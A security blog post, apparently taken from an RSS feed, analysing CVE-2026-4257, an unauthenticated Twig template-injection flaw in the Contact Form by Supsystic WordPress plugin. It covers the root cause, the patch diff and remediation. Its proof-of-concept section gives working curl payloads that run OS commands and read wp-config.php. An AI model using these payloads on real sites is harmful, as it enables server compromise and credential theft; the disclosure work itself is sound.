&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/query-monitor/tags/3.20.2/output/html/request.php#L60&quot;&gt;Vulnerable file — request.php line 60&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/query-monitor/tags/3.20.2/output/html/request.php#L70&quot;&gt;Vulnerable file — request.php line 70&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3486705/query-monitor&quot;&gt;Patch changeset on WordPress.org Trac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://research.cleantalk.org/cve-2026-4267/&quot;&gt;CleanTalk Research — CVE-2026-4267&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4267&quot;&gt;CVE-2026-4267 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dmitrii&quot;&gt;Researcher Profile — Dmitrii Ignatyev&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4257: SSTI to RCE in Contact Form by Supsystic</title><link>https://hurayraiit.com/blog/cve-2026-4257-contact-form-by-supsystic-ssti-rce/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4257-contact-form-by-supsystic-ssti-rce/</guid><description>CVE-2026-4257 is a CVSS 9.8 critical unauthenticated Server-Side Template Injection vulnerability in the Contact Form by Supsystic WordPress plugin — full technical breakdown, PoC, and remediation.</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4257&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated Server-Side Template Injection (SSTI) vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/contact-form-by-supsystic/&quot;&gt;Contact Form by Supsystic&lt;/a&gt; WordPress plugin. It allows any unauthenticated attacker to inject arbitrary Twig template expressions into form field values via a single GET parameter, escalating directly to Remote Code Execution (RCE) on the server.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Contact Form by Supsystic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;contact-form-by-supsystic&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4257&quot;&gt;CVE-2026-4257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Improper Control of Generation of Code (&apos;Code Injection&apos;) / SSTI → RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.7.36.zip&quot;&gt;&amp;lt;= 1.7.36&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.8.0.zip&quot;&gt;1.8.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/0xazr/&quot;&gt;Azril Fathoni (kiseki) — Heroes Cyber Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-by-supsystic/contact-form-by-supsystic-1736-unauthenticated-server-side-template-injection-via-prefill-functionality&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig &lt;code&gt;Twig_Loader_String&lt;/code&gt; template engine without sandboxing, combined with the &lt;code&gt;cfsPreFill&lt;/code&gt; prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig&apos;s &lt;code&gt;registerUndefinedFilterCallback()&lt;/code&gt; method to register arbitrary PHP callbacks.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;The vulnerability is a two-part SSTI chain. Neither component is exploitable in isolation — together they produce a zero-click, unauthenticated RCE.&lt;/p&gt;
&lt;h3&gt;Component 1 — Unsandboxed Twig Environment&lt;/h3&gt;
&lt;p&gt;File: &lt;code&gt;modules/forms/views/forms.php&lt;/code&gt;, method &lt;code&gt;_initTwig()&lt;/code&gt; (v1.7.36):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected function _initTwig() {
    if(!$this-&amp;gt;_twig) {
        if(!class_exists(&apos;Twig_Autoloader&apos;)) {
            require_once(CFS_CLASSES_DIR. &apos;Twig&apos;. DS. &apos;Autoloader.php&apos;);
        }
        Twig_Autoloader::register();
        // ❌ No sandbox — Twig_Loader_String renders any string as a full template
        $this-&amp;gt;_twig = new Twig_Environment(new Twig_Loader_String(), array(&apos;debug&apos; =&amp;gt; 0));
        $this-&amp;gt;_twig-&amp;gt;addFunction(new Twig_SimpleFunction(&apos;adjust_brightness&apos;, ...));
        $this-&amp;gt;_twig-&amp;gt;addFunction(new Twig_SimpleFunction(&apos;adjust_opacity&apos;,    ...));
        $this-&amp;gt;_twig-&amp;gt;addFunction(new Twig_SimpleFunction(&apos;hex_to_rgba_str&apos;,   ...));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Twig_Loader_String&lt;/code&gt; treats every string passed to &lt;code&gt;render()&lt;/code&gt; as a fully trusted Twig template. Without &lt;code&gt;Twig_Extension_Sandbox&lt;/code&gt;, there is no restriction on which PHP functions or Twig internals can be accessed.&lt;/p&gt;
&lt;p&gt;Twig&apos;s &lt;code&gt;_self&lt;/code&gt; global variable exposes the current &lt;code&gt;Twig_Environment&lt;/code&gt; instance. The method &lt;code&gt;registerUndefinedFilterCallback()&lt;/code&gt; on the environment allows registering any PHP callable as a Twig filter by name — which is then invoked by calling &lt;code&gt;getFilter()&lt;/code&gt; with that name. This is the classic unsandboxed Twig RCE gadget chain.&lt;/p&gt;
&lt;h3&gt;Component 2 — Unauthenticated Prefill Injects User Input into the Template&lt;/h3&gt;
&lt;p&gt;File: &lt;code&gt;modules/forms/views/forms.php&lt;/code&gt;, method &lt;code&gt;showForm()&lt;/code&gt; (lines 323–331, v1.7.36):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(!empty($_GET[&apos;cfsPreFill&apos;]) &amp;amp;&amp;amp; !empty($form[&apos;params&apos;][&apos;fields&apos;])) {
    foreach($form[&apos;params&apos;][&apos;fields&apos;] as &amp;amp;$field) {
        // ❌ sanitize_text_field() does NOT strip Twig delimiters {{ }} {% %}
        $fieldVal   = (isset($_GET[$field[&apos;name&apos;]]) ? sanitize_text_field($_GET[$field[&apos;name&apos;]]) : false);
        $fieldValue = isset($_GET[&apos;cfs_&apos;.$field[&apos;name&apos;]]) ? sanitize_text_field($_GET[&apos;cfs_&apos;.$field[&apos;name&apos;]]) : $fieldVal;
        if(isset($field[&apos;value&apos;]) &amp;amp;&amp;amp; isset($field[&apos;name&apos;]) &amp;amp;&amp;amp; $fieldValue !== false) {
            $field[&apos;value&apos;] = $fieldValue;   // ❌ attacker-controlled value stored directly
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No authentication check gates this code path. Any visitor can trigger &lt;code&gt;cfsPreFill&lt;/code&gt; by appending &lt;code&gt;?cfsPreFill=1&lt;/code&gt; to a request to any WordPress page that renders a Contact Form by Supsystic shortcode.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags and extra whitespace — but it explicitly preserves curly braces (&lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;). Twig&apos;s delimiters (&lt;code&gt;{{&lt;/code&gt;, &lt;code&gt;}}&lt;/code&gt;, &lt;code&gt;{%&lt;/code&gt;, &lt;code&gt;%}&lt;/code&gt;) are pure ASCII punctuation, entirely untouched.&lt;/p&gt;
&lt;h3&gt;Component 3 — Attacker Value Flows Into the Twig Template Source&lt;/h3&gt;
&lt;p&gt;File: &lt;code&gt;modules/forms/views/forms.php&lt;/code&gt;, method &lt;code&gt;generateHtml()&lt;/code&gt; (lines 430–474, v1.7.36):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function generateHtml($form, $params = array()) {
    $this-&amp;gt;_initTwig();
    // ...
    // (1) generates &amp;lt;input&amp;gt; HTML with attacker value embedded verbatim
    $form[&apos;params&apos;][&apos;tpl&apos;][&apos;fields&apos;] = $this-&amp;gt;generateFields( $form );

    // (2) splices that HTML into the form template string via str_replace
    $form[&apos;html&apos;] = $this-&amp;gt;_replaceTagsWithTwig( $form[&apos;html&apos;], $form );

    // (3) renders the template — Twig evaluates any {{ }} it finds
    return $this-&amp;gt;_twig-&amp;gt;render(
        &apos;&amp;lt;style ...&amp;gt;&apos; . $form[&apos;css&apos;] . &apos;&amp;lt;/style&amp;gt;&apos;
        . &apos;&amp;lt;div id=&quot;...&quot;&amp;gt;&apos; . $form[&apos;html&apos;] . &apos;&amp;lt;/div&amp;gt;&apos;,
        array(&apos;forms&apos; =&amp;gt; $form)
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;generateFields()&lt;/code&gt; calls &lt;code&gt;htmlCfs::text()&lt;/code&gt; which embeds &lt;code&gt;$field[&apos;value&apos;]&lt;/code&gt; directly into the HTML output with no escaping (in the vulnerable &lt;code&gt;classes/html.php&lt;/code&gt;, line 82):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/html.php v1.7.36 — no esc_attr(), value concatenated raw
return &apos;&amp;lt;input type=&quot;&apos;. $params[&apos;type&apos;]. &apos;&quot; name=&quot;&apos;. $name. &apos;&quot; value=&quot;&apos;. $params[&apos;value&apos;]. &apos;&quot; ... /&amp;gt;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_replaceTagsWithTwig()&lt;/code&gt; then performs a &lt;code&gt;str_replace(&apos;[fields]&apos;, $generatedFieldsHtml, $form[&apos;html&apos;])&lt;/code&gt; — directly splicing the attacker-controlled &lt;code&gt;&amp;lt;input value=&quot;{{...}}&quot;&amp;gt;&lt;/code&gt; into the raw Twig template string. When &lt;code&gt;$this-&amp;gt;_twig-&amp;gt;render()&lt;/code&gt; is called, Twig parses and executes the injected expression.&lt;/p&gt;
&lt;h3&gt;Full Execution Chain&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;GET ?cfsPreFill=1&amp;amp;fieldname={{...RCE payload...}}
        │
        ▼
showForm() → $field[&apos;value&apos;] = sanitize_text_field(GET param)
             [sanitize preserves {{ and }} — Twig syntax survives]
        │
        ▼
generateFields() → htmlCfs::text() → &apos;&amp;lt;input value=&quot;{{...}}&quot; /&amp;gt;&apos;
                   [no esc_attr() in v1.7.36 — value concatenated raw]
        │
        ▼
_replaceTagsWithTwig() → str_replace(&apos;[fields]&apos;, &apos;&amp;lt;input value=&quot;{{...}}&quot; /&amp;gt;&apos;, $form[&apos;html&apos;])
                         [attacker HTML is now part of the Twig template source]
        │
        ▼
Twig_Environment::render($form[&apos;html&apos;]) → evaluates {{ ... }}
[no sandbox — _self.env is accessible]
        │
        ▼
registerUndefinedFilterCallback(&quot;system&quot;) + getFilter(&quot;id&quot;)
        │
        ▼
system(&quot;id&quot;) executed on the server  ← Full RCE
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent design flaws that combine to produce full RCE:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No Twig sandboxing.&lt;/strong&gt; The plugin uses &lt;code&gt;Twig_Loader_String&lt;/code&gt; without &lt;code&gt;Twig_Extension_Sandbox&lt;/code&gt;. Any string rendered by Twig is treated as a trusted template, giving access to &lt;code&gt;_self.env&lt;/code&gt; and all PHP callables.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Unfiltered user input merged into the Twig template source.&lt;/strong&gt; The &lt;code&gt;cfsPreFill&lt;/code&gt; feature copies GET parameters (only HTML-tag-stripped) directly into form field values. Those values are embedded into the Twig template string &lt;em&gt;before rendering&lt;/em&gt;, not passed as inert context data.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why it failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Strips HTML tags and extra whitespace only. Curly braces &lt;code&gt;{&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt; are not special HTML characters — they pass through untouched. Twig&apos;s &lt;code&gt;{{&lt;/code&gt;, &lt;code&gt;}}&lt;/code&gt;, &lt;code&gt;{%&lt;/code&gt;, &lt;code&gt;%}&lt;/code&gt; delimiters survive intact.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No authentication/nonce gate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;cfsPreFill&lt;/code&gt; branch is entered solely based on a GET parameter being non-empty. Zero authentication is required.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;htmlCfs::input()&lt;/code&gt; (v1.7.36)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Concatenates &lt;code&gt;$params[&apos;value&apos;]&lt;/code&gt; directly into the HTML string without &lt;code&gt;esc_attr()&lt;/code&gt;, providing no secondary barrier even if the value had been sanitized.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated remote attacker can execute arbitrary OS commands with the privileges of the web server process (typically &lt;code&gt;www-data&lt;/code&gt;/&lt;code&gt;apache&lt;/code&gt;). This enables:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full server compromise — read/write arbitrary files, install persistent backdoors&lt;/li&gt;
&lt;li&gt;Exfiltration of WordPress database credentials from &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Lateral movement to other sites on shared hosting&lt;/li&gt;
&lt;li&gt;Ransomware deployment or defacement&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVSS 9.8 (Critical) — no privileges, no user interaction, full Confidentiality / Integrity / Availability impact.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;contact-form-by-supsystic&lt;/code&gt; plugin installed and activated, version &amp;lt;= 1.7.36&lt;/li&gt;
&lt;li&gt;At least one published page rendering a Contact Form by Supsystic shortcode (e.g. &lt;code&gt;[contact-form-by-supsystic id=&quot;1&quot;]&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The name of a text/email/number field on the form (readable from the page HTML source — look for &lt;code&gt;name=&quot;fields[your-field-name]&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1: Identify a Form Page and Field Name&lt;/h3&gt;
&lt;p&gt;View the source of a page containing the form and locate an input field:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;fields[your-name]&quot; value=&quot;&quot; ... /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The field name here is &lt;code&gt;your-name&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 2: Verify SSTI with a Safe Math Expression&lt;/h3&gt;
&lt;p&gt;Inject a benign Twig expression and confirm it is evaluated server-side:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://target.example.com/contact/?cfsPreFill=1&amp;amp;your-name={{7*7}}&quot; \
  | grep -o &apos;value=&quot;[^&quot;]*&quot;&apos; | head -5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; the rendered HTML contains &lt;code&gt;value=&quot;49&quot;&lt;/code&gt; — confirming Twig is evaluating the injected expression.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 3: Register a PHP Callable as a Twig Filter&lt;/h3&gt;
&lt;p&gt;Use Twig&apos;s &lt;code&gt;registerUndefinedFilterCallback()&lt;/code&gt; to register PHP&apos;s &lt;code&gt;system()&lt;/code&gt; function as a filter named arbitrarily, then call &lt;code&gt;getFilter()&lt;/code&gt; with the OS command as the filter name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -g &quot;https://target.example.com/contact/?cfsPreFill=1&amp;amp;your-name={{_self.env.registerUndefinedFilterCallback(&apos;system&apos;)}}{{_self.env.getFilter(&apos;id&apos;)}}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output of &lt;code&gt;id&lt;/code&gt; appears inline in the rendered page body.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 4: Extract Command Output Cleanly&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl -s -g &quot;https://target.example.com/contact/?cfsPreFill=1&amp;amp;your-name={{_self.env.registerUndefinedFilterCallback(&apos;system&apos;)}}{{_self.env.getFilter(&apos;id&apos;)}}&quot; \
  | grep -oP &apos;uid=\d+\([^)]+\) gid=\d+\([^)]+\)[^\&amp;lt;]*&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For file exfiltration (URL-encode spaces as &lt;code&gt;+&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -g &quot;https://target.example.com/contact/?cfsPreFill=1&amp;amp;your-name={{_self.env.registerUndefinedFilterCallback(&apos;system&apos;)}}{{_self.env.getFilter(&apos;cat+/var/www/html/wp-config.php&apos;)}}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The server executes the injected OS command and returns the output embedded in the HTTP response body — no authentication, no interaction required.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The fix is a single targeted addition in &lt;code&gt;modules/forms/views/forms.php&lt;/code&gt; inside the &lt;code&gt;showForm()&lt;/code&gt; prefill block. A secondary defence-in-depth change was also made in &lt;code&gt;classes/html.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Primary Fix — Escape Twig Delimiters Before Assignment&lt;/h3&gt;
&lt;p&gt;File: &lt;code&gt;modules/forms/views/forms.php&lt;/code&gt;, v1.8.0 (line 369):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Escape Twig template delimiters to prevent Server-Side Template Injection (SSTI/RCE).
// sanitize_text_field() does not strip curly braces, so an attacker can inject
// Twig expressions (e.g. {{_self.env.registerUndefinedFilterCallback(...)}})
// that get evaluated by Twig_Loader_String at render time.
$fieldValue = str_replace([&apos;{&apos;, &apos;}&apos;], [&apos;&amp;amp;#123;&apos;, &apos;&amp;amp;#125;&apos;], $fieldValue);
$field[&apos;value&apos;] = $fieldValue;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By replacing every &lt;code&gt;{&lt;/code&gt; → &lt;code&gt;&amp;amp;#123;&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt; → &lt;code&gt;&amp;amp;#125;&lt;/code&gt; before the value is stored, Twig delimiters can never form valid &lt;code&gt;{{…}}&lt;/code&gt; or &lt;code&gt;{%…%}&lt;/code&gt; sequences. When Twig subsequently receives the template string, there are no expressions to evaluate — the HTML entities are passed through as literal display characters.&lt;/p&gt;
&lt;h3&gt;Secondary Fix — &lt;code&gt;esc_attr()&lt;/code&gt; on Input Values&lt;/h3&gt;
&lt;p&gt;File: &lt;code&gt;classes/html.php&lt;/code&gt;, v1.8.0 (line 89):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$params[&apos;value&apos;] = isset($params[&apos;value&apos;]) ? esc_attr($params[&apos;value&apos;]) : &apos;&apos;;
return &apos;&amp;lt;input type=&quot;&apos; . $params[&apos;type&apos;] . &apos;&quot; name=&quot;&apos; . $name . &apos;&quot; value=&quot;&apos; . $params[&apos;value&apos;] . &apos;&quot; ...&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patched &lt;code&gt;htmlCfs::input()&lt;/code&gt; now calls &lt;code&gt;esc_attr()&lt;/code&gt; before embedding the value in the HTML attribute. This closes a separate reflected XSS risk in the input value. Note that &lt;code&gt;esc_attr()&lt;/code&gt; does &lt;em&gt;not&lt;/em&gt; encode &lt;code&gt;{&lt;/code&gt; or &lt;code&gt;}&lt;/code&gt;, so it would not alone have prevented the SSTI — the &lt;code&gt;str_replace&lt;/code&gt; in &lt;code&gt;forms.php&lt;/code&gt; is the load-bearing fix.&lt;/p&gt;
&lt;h3&gt;Is the Fix Complete?&lt;/h3&gt;
&lt;p&gt;Yes, for this specific attack vector. The &lt;code&gt;str_replace&lt;/code&gt; of &lt;code&gt;{&lt;/code&gt;/&lt;code&gt;}&lt;/code&gt; definitively breaks all Twig syntax injection via the prefill parameter. A more architecturally robust long-term fix would also enable &lt;code&gt;Twig_Extension_Sandbox&lt;/code&gt; on the environment, so that no user-derived data can reach PHP internals regardless of how it enters the template — but that is not required to close CVE-2026-4257.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/modules/forms/views/forms.php  (1.7.36)
+++ b/modules/forms/views/forms.php  (1.8.0)
@@ -323,10 +360,14 @@
-        if(!empty($_GET[&apos;cfsPreFill&apos;]) &amp;amp;&amp;amp; !empty($form[&apos;params&apos;][&apos;fields&apos;])) {
-            foreach($form[&apos;params&apos;][&apos;fields&apos;] as &amp;amp;$field) {
-                $fieldVal   = sanitize_text_field($_GET[$field[&apos;name&apos;]]);
-                $fieldValue = sanitize_text_field($_GET[&apos;cfs_&apos;.$field[&apos;name&apos;]]);
-                if(isset($field[&apos;value&apos;]) &amp;amp;&amp;amp; isset($field[&apos;name&apos;]) &amp;amp;&amp;amp; $fieldValue !== false) {
-                    $field[&apos;value&apos;] = $fieldValue;
-                }
-            }
-        }
+      if (!empty($_GET[&apos;cfsPreFill&apos;]) &amp;amp;&amp;amp; !empty($form[&apos;params&apos;][&apos;fields&apos;])) {
+        foreach ($form[&apos;params&apos;][&apos;fields&apos;] as &amp;amp;$field) {
+          $fieldVal   = sanitize_text_field($_GET[$field[&apos;name&apos;]]);
+          $fieldValue = sanitize_text_field($_GET[&apos;cfs_&apos;.$field[&apos;name&apos;]]);
+          if (isset($field[&apos;value&apos;]) &amp;amp;&amp;amp; isset($field[&apos;name&apos;]) &amp;amp;&amp;amp; $fieldValue !== false) {
+            // Escape Twig template delimiters to prevent SSTI/RCE
+            $fieldValue = str_replace([&apos;{&apos;, &apos;}&apos;], [&apos;&amp;amp;#123;&apos;, &apos;&amp;amp;#125;&apos;], $fieldValue);
+            $field[&apos;value&apos;] = $fieldValue;
+          }
+        }
+      }

--- a/classes/html.php  (1.7.36)
+++ b/classes/html.php  (1.8.0)
-    $params[&apos;value&apos;] = isset($params[&apos;value&apos;]) ? $params[&apos;value&apos;] : &apos;&apos;;
-    return &apos;&amp;lt;input ... value=&quot;&apos;. $params[&apos;value&apos;]. &apos;&quot; ...&apos;;
+    $params[&apos;value&apos;] = isset($params[&apos;value&apos;]) ? esc_attr($params[&apos;value&apos;]) : &apos;&apos;;
+    return &apos;&amp;lt;input ... value=&quot;&apos; . $params[&apos;value&apos;] . &apos;&quot; ...&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered by Azril Fathoni (kiseki) — Heroes Cyber Security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.8.0 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;contact-form-by-supsystic&lt;/code&gt; plugin to version 1.8.0 or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No configuration-level workaround is viable short of deactivating the plugin. The &lt;code&gt;cfsPreFill&lt;/code&gt; feature is triggered by a single GET parameter on any page rendering the shortcode — zero authentication is required and there is no way to restrict it at the WordPress level without modifying the plugin code.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-by-supsystic/contact-form-by-supsystic-1736-unauthenticated-server-side-template-injection-via-prefill-functionality&quot;&gt;Wordfence Advisory — CVE-2026-4257&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4257&quot;&gt;CVE-2026-4257 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.7.36/modules/forms/views/forms.php#L323&quot;&gt;Vulnerable source — forms.php L323 (Trac)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic&quot;&gt;Patch changeset 3491826 (Trac)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/0xazr/&quot;&gt;Researcher — Azril Fathoni (LinkedIn)&lt;/a&gt;&lt;/li&gt;
